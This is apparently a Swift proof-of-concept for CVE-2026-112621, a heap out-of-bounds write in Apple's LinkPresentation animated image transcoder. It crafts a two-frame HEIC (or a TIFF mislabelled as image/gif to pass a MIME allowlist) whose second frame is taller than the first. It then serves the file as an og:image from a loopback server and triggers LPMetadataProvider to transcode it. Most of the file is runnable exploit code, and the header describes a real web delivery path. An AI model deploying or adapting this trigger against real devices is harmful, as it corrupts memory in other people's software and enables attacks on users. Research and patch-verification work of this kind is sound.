// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
// Out-of-bounds write when a later frame is taller than the first.
//
// -[LPAnimatedImageTranscoder _transcodeWithCompletionHandler:] reads the pixel size
// of image 0 and configures the video writer with it. encodeNextFrame then takes the
// draw height from the current decoded frame while the destination is the pooled
// buffer sized for frame 0. CGContextClearRect writes the taller frame's rows past
// the pool.
//
// Delivery is the public path: LPMetadataProvider fetches a page, reads og:image, and
// feeds the multi-frame file to the transcoder. This file serves that page from
// loopback, so no network is involved.
//
// 256x16 then 256x48 keeps the width equal (the pool's row stride must accept the
// width) and only grows the height.
//
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112621 CVE-2026-112621.swift \
//          -framework ImageIO -framework CoreGraphics -framework LinkPresentation \
//          -framework Network -framework UniformTypeIdentifiers
// Run:   ./cve-2026-112621

import Foundation
import ImageIO
import CoreGraphics
import LinkPresentation
import Network
import UniformTypeIdentifiers

let firstSize = (256, 16)
let laterSize = (256, 48)

func solid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage {
    let cs = CGColorSpaceCreateDeviceRGB()
    let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
                        bytesPerRow: w * 4, space: cs,
                        bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue)!
    ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
    ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
    return ctx.makeImage()!
}

// Two independently sized frames in one container. HEIC is the format from the
// advisory; TIFF is the fallback that ImageIO still decodes as independent pages.
func multiFrame(_ type: UTType) -> Data? {
    let data = NSMutableData()
    guard let dest = CGImageDestinationCreateWithData(data, type.identifier as CFString, 2, nil) else {
        return nil
    }
    CGImageDestinationAddImage(dest, solid(firstSize.0, firstSize.1, 0.90, 0.10, 0.10), nil)
    CGImageDestinationAddImage(dest, solid(laterSize.0, laterSize.1, 0.10, 0.20, 0.90), nil)
    guard CGImageDestinationFinalize(dest) else { return nil }
    return data as Data
}

func probe(_ data: Data, _ label: String) {
    guard let src = CGImageSourceCreateWithData(data as CFData, nil) else {
        print("\(label): ImageIO refused the container"); return
    }
    let count = CGImageSourceGetCount(src)
    print("\(label): count=\(count) bytes=\(data.count)")
    for i in 0..<min(2, count) {
        if let img = CGImageSourceCreateImageAtIndex(src, i, nil) {
            print("  frame[\(i)] \(img.width)x\(img.height)")
        }
    }
}

// ── loopback server: one HTML page with og:image, one image endpoint ──
final class LocalServer {
    private let listener: NWListener
    private let image: Data
    private let mime: String
    private(set) var queued = 0

    init(image: Data, mime: String) throws {
        self.image = image
        self.mime = mime
        let params = NWParameters.tcp
        params.allowLocalEndpointReuse = true
        listener = try NWListener(using: params, on: .any)
    }

    func start() throws -> UInt16 {
        let ready = DispatchSemaphore(value: 0)
        listener.stateUpdateHandler = { state in
            if case .ready = state { ready.signal() }
        }
        listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
        listener.start(queue: .global())
        _ = ready.wait(timeout: .now() + 5)
        return listener.port?.rawValue ?? 0
    }

    private func serve(_ conn: NWConnection) {
        conn.start(queue: .global())
        conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
            guard let self, let data, let head = String(data: data, encoding: .utf8) else {
                conn.cancel(); return
            }
            let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
            self.queued += 1
            if path.hasPrefix("/pic") {
                self.respond(conn, body: self.image, type: self.mime)
            } else {
                let page = """
                <!doctype html><html><head><meta charset="utf-8">
                <meta property="og:title" content="CVE-2026-112621">
                <meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
                </head><body>cve-2026-112621</body></html>
                """
                self.respond(conn, body: Data(page.utf8), type: "text/html")
            }
        }
    }

    private func respond(_ conn: NWConnection, body: Data, type: String) {
        var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
        out.append(body)
        conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
    }

    func stop() { listener.cancel() }
}

// HEIC first; if the platform cannot encode it, a TIFF served as image/gif still
// passes -[LPImage _isAnimated] (MIME allowlist) and ImageIO decodes it by content.
var image = multiFrame(.heic)
var mime = "image/heic"
if image == nil {
    image = multiFrame(.tiff)
    mime = "image/gif"
}
guard let payload = image else {
    print("could not build a multi-frame container"); exit(1)
}
probe(payload, "seed (\(mime))")

let server = try LocalServer(image: payload, mime: mime)
let port = try server.start()
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
    print("server did not bind"); exit(1)
}
print("serving \(url) — ct=\(mime)")

var done = false
var title: String?
var error: String?

DispatchQueue.global().async {
    let provider = LPMetadataProvider()
    provider.timeout = 20
    provider.startFetchingMetadata(for: url) { meta, err in
        title = meta?.title
        error = err?.localizedDescription
        done = true
    }
}

let deadline = Date().addingTimeInterval(40)
while !done && Date() < deadline {
    RunLoop.main.run(until: Date().addingTimeInterval(0.1))
}

if !done {
    print("metadata fetch timed out")
} else if let error {
    print("metadata error: \(error)")
} else {
    print("metadata title: \(title ?? "(none)")")
    print("survived — the transcoder did not take the taller frame (fixed build)")
}
print("image requests: \(server.queued)")
server.stop()